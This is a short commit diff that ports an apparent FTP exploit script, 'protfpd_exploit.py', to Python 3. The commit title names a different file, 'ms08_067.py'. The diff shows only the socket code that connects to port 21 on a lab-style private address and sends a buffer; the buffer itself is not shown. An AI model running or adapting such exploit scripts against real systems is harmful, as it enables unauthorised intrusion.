update ms08_067.py for Python3

Author: mokrunka

protfpd_exploit.py

@@ -54,10 +54,10 @@
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
 try:
-	print "Connecting.\n"
+	print("Connecting.\n")
 	s.connect(('10.11.1.146', 21))
-	print "Sending buffer.\n"
-	s.send(buffer)
-	print "Done.\n"
+	print("Sending buffer.\n")
+	s.send(buffer.encode('utf-8'))
+	print("Done.\n")
 except:
-	print "Failed.\n"
+	print("Failed.\n")